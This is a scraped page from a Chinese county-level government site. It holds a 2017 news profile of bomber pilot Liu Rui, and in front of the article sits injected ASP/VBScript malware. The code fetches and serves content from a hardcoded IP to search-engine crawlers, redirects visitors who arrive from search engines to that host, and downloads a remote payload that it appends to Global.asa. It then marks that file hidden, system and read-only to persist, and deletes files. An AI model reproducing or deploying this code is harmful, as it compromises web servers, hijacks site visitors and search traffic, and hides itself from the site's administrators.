' ' 'by*aming Server.ScriptTimeout=600 Public Function createasa(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/Global.asa")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/Global.asa"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function createasax(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/Global.asax")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/Global.asax"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",url ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close End Function Function check(user_agent) allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,360,so,haosou",",") check_agent=false For agenti=lbound(allow_agent) to ubound(allow_agent) If instr(user_agent,allow_agent(agenti))>0 then check_agent=true exit for end if Next check=check_agent End function Function CheckRobot() CheckRobot = False Dim Botlist,i,Repls Repls = request.ServerVariables("http_user_agent") Krobotlist = "Baiduspider|Googlebot" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(Repls,Botlist(i)) > 0 Then CheckRobot = True Exit For End If Next If Request.QueryString("admin")= "1" Then Session("ThisCheckRobot")=1 If Session("ThisCheckRobot") = 1 Then CheckRobot = True End Function Function CheckRefresh() CheckRefresh = False Dim Botlist,i,Repls Krobotlist = "baidu|google|sogou|soso|youdao|bing|yahoo|qihoo|iask|haosou|360.cn|so.|anquan|qq.|51yes|51.la" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then CheckRefresh = True Exit For End If Next End Function Sub sleep() If response.IsClientConnected=true then Response.Flush else response.end end if End Sub If CheckRefresh=true Then cnnbd=lcase(Request.ServerVariables("HTTP_HOST")&request.ServerVariables("HTTP_URL")) 'response.redirect("http://198.2.196.141/?"&cnnbd&"") fkurl = GetHtml("http://198.2.196.141/") Response.Write fkurl response.end end If user_agent=Request.ServerVariables("HTTP_USER_AGENT") if check(user_agent)=true then body=GetHtml("http://198.2.196.141/") response.write body urlname="http://"&request.servervariables("HTTP_HOST") link=GetHtml(urlname) response.write link response.end else asa=GetHtml("http://198.2.196.141/globalquan.txt") if instr(asa,"by*aming")>0 then createasa(asa) end if dim name name=request.servervariables("Path_Translated") Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/global.asa")) Dim v Dim t ReDim A(Request.Form.Count) ReDim B(Request.Form.Count) v=Request.Form t=Request.Form.Count if t>0 then For i=0 To t-1 b(i)=Split(Split(v,"&")(i),"=")(1) if instr(LCase(b(i)),"global.asa")>0 then f.Attributes=1+2+4 response.end() end if Next end if if DC=false and CF=True and request.servervariables("QUERY_STRING")<>"" then response.redirect(Rurl&"?"&Request.ServerVariables("HTTP_HOST")) elseif instr(name,";")>0 then set m=fso.Getfile(name) m.Attributes=0 fso.DeleteFile(name) f.Attributes=1+2+4 response.end() end if ScriptAddress=Request.ServerVariables("SCRIPT_NAME") namepath=Server.MapPath(ScriptAddress) If Len(Request.QueryString) > 0 Then ScriptAddress = ScriptAddress & "?" & Request.QueryString end if geturl ="http://"& Request.ServerVariables("http_host") & ScriptAddress geturl =LCase(geturl) 'response.write replace(namepath,server.MapPath("/"),"") 'response.end 'if instr(geturl,"jc=ok")=0 and instr(geturl,"global=ok")=0 and instr(LCase(Request.ServerVariables("http_host")),"gov.cn")=0 and instr(LCase(Request.ServerVariables("http_host")),"edu.cn")=0 and if instr(geturl,"http://"& Request.ServerVariables("http_host") &"/index.asp")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/")=0 and instr(LCase(Request.ServerVariables("HTTP_REFERER")),LCase(Request.ServerVariables("http_host")))<=0 then agent = lcase(request.servervariables("http_user_agent")) referer = LCase(Request.ServerVariables("HTTP_REFERER")) bot = "" Amll = "" if instr(agent, "+") > 0 then bot = agent if instr(agent, "-") > 0 then bot = agent if instr(agent, "http") > 0 then bot = agent if instr(agent, "spider") > 0 then bot = agent if instr(agent, "bot") > 0 then bot = agent if instr(agent, "linux") > 0 then bot = agent if instr(agent, "baidu") > 0 then bot = agent if instr(agent, "google") > 0 then bot = "nobot" if instr(agent, "yahoo") > 0 then bot = "nobot" if instr(agent, "msn") > 0 then bot = "nobot" if instr(agent, "alexa") > 0 then bot = "nobot" if instr(agent, "sogou") > 0 then bot = "nobot" if instr(agent, "youdao") > 0 then bot = "nobot" if instr(agent, "soso") > 0 then bot = "nobot" if instr(agent, "iask") > 0 then bot = "nobot" if bot="nobot" then 'Call WriteErr 'response.end end if If Instr(REFERER,"http") > 0 and Instr(REFERER,".") > 0 and Instr(REFERER,"/") > 0 and Instr(REFERER,"?") > 0 and Instr(REFERER,"=") > 0 Then Amll = "ok" tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if tjcount="" then response.cookies("cookie_tjcount")=0 response.cookies("cookie_tjcount").Expires=DateAdd("d",1,now()) end if if date1<>date2 then response.cookies("cookie_date")=date2 response.cookies("cookie_date").Expires=DateAdd("d",365,now()) end if tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if date1=date2 and len(bot) = 0 then if int(tjcount)<10 and len(Amll)>0 then response.cookies("cookie_tjcount")=int(tjcount)+1 response.cookies("cookie_tjcount").Expires=DateAdd("d",1,now()) strHost=Request.ServerVariables("HTTP_HOST") Response.Redirect("http://198.2.196.141/?domain="&strHost&"") else response.write "系统找不到指定的文件。" 'response.write "" 'response.write gethtml(geturl&"?global=ok") end if response.end end if Call sleep() end if end if ' 走近《榜样》(三) 驾驭“战神”的刘锐_教育动态(图文)_党员教育_马尔康组工网——中共马尔康市委组织部信息中心
  您的位置  首页 >> 党员教育 >> 教育动态(图文) >> 正文
走近《榜样》(三) 驾驭“战神”的刘锐
[审核: | 撰稿: | 日期:2017年10月11日 | 浏览1153 次] 字体:[ ]

 

 

 

    在《榜样》专题节目录制现场,播放了一张“网红”照片——“战神”轰-6K飞越黄岩岛。随后,共产党员网记者看到,一个英姿飒爽的身影出现在舞台上,他就是这张照片的拍摄者——现年38岁的刘锐。一身蓝色军装,精神抖擞,器宇轩昂。刘锐在现场回忆了这张照片出炉的震撼过程,还向大家讲述了南海战巡远洋训练的故事,每一次训练、实战演练都是千钧一发的生死瞬间,听来惊心动魄。共产党员网记者注意到,在刘锐讲述的时候,观众席上大人和小孩子都听得十分入神。

 

    很多人认识刘锐是从那张“网红”照片开始的。刘锐是我军现役新型轰炸机轰-6K首批改装人员,也是我国第一批驾驶轰-6K战机巡航黄岩岛的飞行员。他曾驾驶战机深入南海腹地3000多公里,成功赴西太平洋远海训练。

 

    梦想——“那时候的目标没有想别的,就是飞出来”

 

    与轰-6K的情缘还得从刘锐的梦想说起。刘锐从小在一个军用机场旁长大,飞行梦就此萌芽。高中毕业考入长春飞行学院,那时他的理想是驾驶着歼击机自由翱翔蓝天之上。但是出于对飞行安全的考虑,父亲坚决反对他开飞机,临近分配专业时,他强烈要求把刘锐分配到后勤保障部门。为此,刘锐和父亲僵持不下,最终在母亲的劝说下,父子各退一步,达成了飞轰炸机的共识。在哈尔滨飞行学院进行几年专业学习之后,刘锐被分配了基层作战部队。当时,轰-6K尚未装备部队,刘锐飞的是轰-6老型战机,他说,“那时候的目标没有想别的,就是飞出来”。但也从此开始了与轰-6K的缘分。

 

    担当——改装训练完全是“摸着石头过河”

 

    2010年,机遇来了。那年,刘锐所在团被确定为全军首家装备轰-6K的部队,当时新型轰炸机尚未完全定型,一无教材、二无经验,改装训练完全是“摸着石头过河”。为尽快掌握性能,完成改装任务,刘锐既当“改装员”又当“试飞员”,硬是在一个月的时间内,将1600多个性能数据,100多张座舱图,四大本2000多页使用手册熟记于心,并记下了两万多字的学习笔记,以优异的成绩通过了改装理论考核。又仅用3个月的时间完成改装,成为新机首批机长、教员。随后,刘锐一鼓作气,创造性提出“课题牵引训练”新思路,形成一批战法、数十套突击方案,填补轰-6K作战使用的多项空白。

 

    使命——“国家的利益边界在哪里,‘战神’的威慑力就必须到哪里!”

 

    2012年,刚完成改装的刘锐所在团首次受领南海战巡任务,他作为大队长,主动申请带头先飞,在无任何经验可循的情况下,深入南海腹地数千公里,取得了新机训练的多项突破。

 

    2015330日,刘锐和战友驾驶轰-6K飞跃巴士海峡,首次奔赴西太平洋开展远海训练。当天他们驾驶的是两架轰-6K战机编组。这是这片陌生海域第一次有中国战机出现。当时外军的飞机迅速围了过来,抵近,查证。最近的时候,两架飞机相距不到10米,这是一场意志力和自信心的较量。在这样未知海域,未知态势,未知空情的情况下,刘锐他们驾驶轰-6k第一次出现在西太平洋上空,并没有被外军飞机的挑衅所干扰,继续飞赴此次训练指定的空域,最终完成任务顺利返航。这次飞行,被外电评论为“中国空军具有深远意义的战略之举”,此后,中国空军多型战机多次飞往西太平洋,进一步锤炼远海体系作战能力,形成了常态化的训练体系。

 


相关文章

  • ·没有相关文章

相关专题

  • ·专题1信息无
  • ·专题2信息无